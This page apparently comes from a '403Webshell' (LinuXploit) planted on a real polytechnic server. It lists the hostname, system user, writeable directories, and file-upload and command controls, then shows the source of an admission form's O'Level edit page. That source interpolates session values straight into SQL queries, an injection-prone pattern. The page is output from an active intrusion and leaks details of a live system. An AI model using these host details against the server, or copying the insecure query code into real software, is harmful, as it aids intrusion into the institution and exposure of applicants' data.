403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.131.126
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/entranceform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/entranceform/olevel_edit.php
<?php
session_start();
?>
<script type="text/javascript" language="javascript" src="../js/jquery-1.7.1.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptFile.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptLga.js"></script>
<script type="text/javascript" language="javascript" src="../js/scripJamb.js"></script>
<?php
require_once('headMain2.php');
$formNo=$_SESSION['formNo'];
 $formType=$_SESSION['formType'];
$level=$_SESSION['formType'];
require_once('../connect.php');
$db=db_connect();
$sql=$db->query("select * from otherinfo where formNo='$formNo'");
$sql_count=$sql->rowCount();
$sql_fetch=$sql->fetch(PDO::FETCH_BOTH);


$gName=$sql_fetch['gName'];
$gAddress=$sql_fetch['gAddress'];
$gGsm=$sql_fetch['gGsm'];
$gRel=$sql_fetch['gRel'];
$nName=$sql_fetch['nName'];
$nAddress=$sql_fetch['nAddress'];
$nGsm=$sql_fetch['nGsm'];
$nrel=$sql_fetch['nrel'];



/**
 * Created by PhpStorm.
 * User: SERVER
 * Date: 08/31/2016
 * Time: 2:12 PM
 */
?>
    <div class="container">
        <div class="row">
            <div class="col-md-8 col-md-offset-2">
                <div class="login-panel panel panel-default">
                    <div class="panel-heading">
                        <h3 class="panel-title">Edit O'Level Data</h3>  <div align="right"><a href="javascript:history.go(-1)"> Go to Previous page</a></div>
                    </div>
                    <div class="panel-body">
                        <form role="form" action="olevel_edit_process.php" method="post">

    <?php
if (isset($_GET['id'])){
   if ($_GET['id']=='1'){
       echo '<div class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Only Five (5) O\'Level Credits Required</div>';
   }
    if ($_GET['id']=='mainData'){
        echo '<div class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Fill AllRequired Fields</div>';
    }
    if ($_GET['id']=='passport'){
        echo '<div class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Passport Required</div>';
    }
    if ($_GET['id']=='O_Level'){
        echo '<div class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>O\'level Scanned Copy2 is Required</div>';
    }
    if ($_GET['id']=='6'){
        echo '<div class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Record Updated Successfully</div>';
    }

}
?>


    <div><?php echo '<img src="../passportForm/'. $formNo.'.jpg" alt="" width="105" height="115" class="img-rounded" />';?></div>

                            <table width="100%" cellspacing="5" cellpadding="3">
                                <tr><td style="color: #FF0000" colspan="6"><strong>Note: You are required to enter ALL subjects</strong></td></tr><tr>
                                    <td>Exam Type</td>
                                    <td><select name="eType1" id="select37" class="form-control">
                                            <option>WAEC</option>
                                            <option>NECO</option>
                                            <option>NABTEB</option>
                                            <option selected="selected">Select Type</option>
                                        </select></td>
                                    <td><label for="select37"></label></td>
                                    <td>Exam Type</td>
                                    <td><select name="eType2" class="form-control" id="select38">
                                            <option>WAEC</option>
                                            <option>NECO</option>
                                            <option>NABTEB</option>
                                            <option selected="selected">Select Type</option>
                                        </select></td>
                                </tr>
                                <tr>
                                    <td>Exam Date</td>
                                    <td><input type="date" class="form-control" name="eYear1" required="required"></td>
                                    <td>&nbsp;</td>
                                    <td>Exam Date</td>
                                    <td><input type="date" class="form-control" name="eYear2"></td>
                                </tr>
                                <tr>
                                    <td>Exam Number</td>
                                    <td><label for="textfield"></label>
                                        <input type="text" name="examNo1" class="form-control" id="textfield" required="required" /></td>
                                    <td>&nbsp;</td>
                                    <td>Exam Number</td>
                                    <td><input type="text" name="examNo2" id="textfield2" class="form-control"  /></td>
                                </tr>
                                <tr>

                                    <td colspan="2" valign="top">
                                        <table width="100%" cellspacing="5" cellpadding="3">
                                            <?php
                                            for($aspoa=1;$aspoa<=9;++$aspoa){

                                                echo '<td>'.$aspoa.'</td>';
                                                ?>
                              <td><label for="select19"></label>
                                <select class="form-control"name="<?php echo 'sub1['.$aspoa.']'; ?>" id="select19">

                                  <option selected="selected" value="0">Select Subject</option>

                                  <?php

                                                // require_once('../connect.php');
                                                $sql="select * from olevelcourses";
                                                $result_c=$db->query($sql);
                                                echo  $num=$result_c->rowCount();
                                                //$i=0;
                                                while ($row = $result_c->fetch(PDO::FETCH_BOTH)){
                                                    //while($i<$num){


                                                    ?>
                                                    <option>
                                                        <?php	  echo $row['subject'];?>
                                                    </option>

                                                    <?php
                                                    //$i++;
                                                }
                                                ?>
                                </select></td>
                              <td><label for="select"></label>
                                <select name="<?php echo 'res1['.$aspoa.']'; ?>"  id="select" class="form-control">
                                  <option value="A1">A1</option>
                                  <option value="B2">B2</option>
                                  <option value="B3">B3</option>
                                  <option value="C4">C4</option>
                                  <option value="C5">C5</option>
                                  <option value="C6">C6</option>
                                  <option value="D7">D7</option>
                                  <option value="E8">E8</option>
                                  <option value="F9">F9</option>
                                  <option value="AR">AR</option>
                                  <option value="0" selected="selected"> select </option>
                                </select></td>
                            </tr>

                                  <?php

                                            }
                                            if ($formType =='utmeForm'){
                                                echo '<tr><td colspan="3">
                             <input type="hidden" name="MAX_FILE_SIZEPix" value="1000000" />
                                                                                    <input type="hidden" name="olevelPix" id="username1Pix"  />
                                                                                    <input name="olevelPix1" type="file" id="user_file1Pix"  />
                                                                                    <br />
                                 <div class="alert-danger"> *O\'level must be JPEG format and not more than 150KB. </div></label></td>
</td></tr>';
                                            }
                                            ?>


                                        </table></td>
                                    <td bgcolor="#FFFFFF">&nbsp;</td>
                                    <td colspan="2" valign="top">
                                        <table width="100%" cellspacing="5" cellpadding="3">
                                            <tr>
                                                <td colspan="2" valign="top"><table width="100%" cellspacing="5" cellpadding="3">
                                                        <?php
                                                        for($aspoa=1;$aspoa<=9;++$aspoa){

                                                            echo '<td>'.$aspoa.'</td>';
                                                            ?>
                              <td><label for="select19"></label>
                                <select class="form-control"name="<?php echo 'sub2['.$aspoa.']'; ?>" id="select19">

                                  <option selected="selected" value="0">Select Subject</option>

                                  <?php
                                                            $sql="select * from olevelcourses";
                                                            $result_c=$db->query($sql);
                                                            echo  $num=$result_c->rowCount();
                                                            //$i=0;
                                                            while ($row = $result_c->fetch(PDO::FETCH_BOTH)){
                                                                //while($i<$num){


                                                                ?>
                                                                <option>
                                                                    <?php	  echo $row['subject'];?>
                                                                </option>

                                                                <?php
                                                                //$i++;
                                                            }
                                                            ?>
                                </select></td>
                              <td><label for="select"></label>
                                <select name="<?php echo 'res2['.$aspoa.']'; ?>"   id="select" class="form-control">
                                  <option value="A1">A1</option>
                                  <option value="B2">B2</option>
                                  <option value="B3">B3</option>
                                  <option value="C4">C4</option>
                                  <option value="C5">C5</option>
                                  <option value="C6">C6</option>
                                  <option value="D7">D7</option>
                                  <option value="E8">E8</option>
                                  <option value="F9">F9</option>
                                  <option value="AR">AR</option>
                                  <option value="0" selected="selected"> select </option>
                                </select></td>
                            </tr>
                                  <?php
                                                        }
                                                        if ($formType =='utmeForm'){
                                                            echo '<tr><td colspan="3">
                             <input type="hidden" name="MAX_FILE_SIZEPix2" value="1000000" />
                                                                                    <input type="hidden" name="olevelPix2" id="username2Pix"  />
                                                                                    <input name="olevelPix2" type="file" id="user_file1Pix2"  />
                                                                                    <br />
                                <div class="alert-danger">  *O\'level must be JPEG format and not more than 150KB.</div> </label></td>
</td></tr>';
                                                        }
                                                        ?>



                                                    </table>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>


                    </div>
                    <div><input type="submit" class="btn-primary form-control" value="Update O'Level Data"></div>

                    </form>
                    </div>
                    </div>
                </div>
    </div>
                    </div>
                </div>
            </div>
        </div>
<?php

$mainBody='<table width="100%" cellspacing="5" cellpadding="3">';

    $sql3="select * from preolevel where formNo='$formNo'";
    $result3=$db->query($sql3);
    $num3=$result3->rowCount();
    $result3_fetch=$result3->fetch(PDO::FETCH_BOTH);
    if ($num3>0){
    $k=$result3_fetch['olevel1'];
    $olevel=explode(',',$k);
    $count=count($olevel);

    $k2=$result3_fetch['olevel2'];
    $olevel2=explode(',',$k2);
    $count2=count($olevel2);
    //echo mysql_result($result3,0,'olevel1')

    $mainBody.='
    <tr>
        <td><table width="100%" cellspacing="5" cellpadding="0">
                <tr><td><b>Exam Type: </b></td><td>'.$result3_fetch['eType1'].'</td></tr>
                <tr><td><b>Exam Number: </b></td><td>'.$result3_fetch['examNo1'].'</td></tr>
                <tr><td><b>Exam Date: </b></td><td>'.$result3_fetch['eYear1'].'</td></tr>
                <tr><td colspan="2"><hr></td></tr>

                ';
                for ($a=0;$a<$count-1;++$a){
                $splitOlevel=explode('-',$olevel[$a]);
                $mainBody.=  '<tr><td>'.$splitOlevel[0].'</td><td>'.$splitOlevel[1].'</td>';
                    }
                    $mainBody.='</td></tr>
            </table></td>
        <td><table width="100%" cellspacing="5" cellpadding="0">
                <tr>
                    <td>';
                        if ($result3_fetch['examNo2']!=''){
                        $mainBody.= '
                <tr>
                    <td><table width="100%" cellspacing="5" cellpadding="0">
                            <tr><td><b>Exam Type: </b></td><td>'.$result3_fetch['eType2'].'</td></tr>
                            <tr><td><b>Exam Number: </b></td><td>'.$result3_fetch['examNo2'].'</td></tr>
                            <tr><td><b>Exam Date: </b></td><td>'.$result3_fetch['eYear2'].'</td></tr>
                            <tr><td colspan="4"><hr></td></tr>


                            ';


                            }
                            $mainBody.='</td>
                            </tr>
                            <tr>
                                <td>';
                                    if ($result3_fetch['noOfResult']==2){
                                    for ($a=0;$a<$count2-1;++$a){
                                    $splitOlevel2=explode('-',$olevel2[$a]);
                                    $mainBody.=  '<tr><td>'.$splitOlevel2[0].'</td><td>'.$splitOlevel2[1].'</td></tr>';
                            }
                            // $mainBody.= '';
                            }
                            }else{
                            $mainBody.=  '<h1><b>Update Your O\'Level</b></h1>';
                            }

                            $mainBody.='</td>
                            </tr>
                        </table></td>
                </tr>
            </table>';
echo $mainBody;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit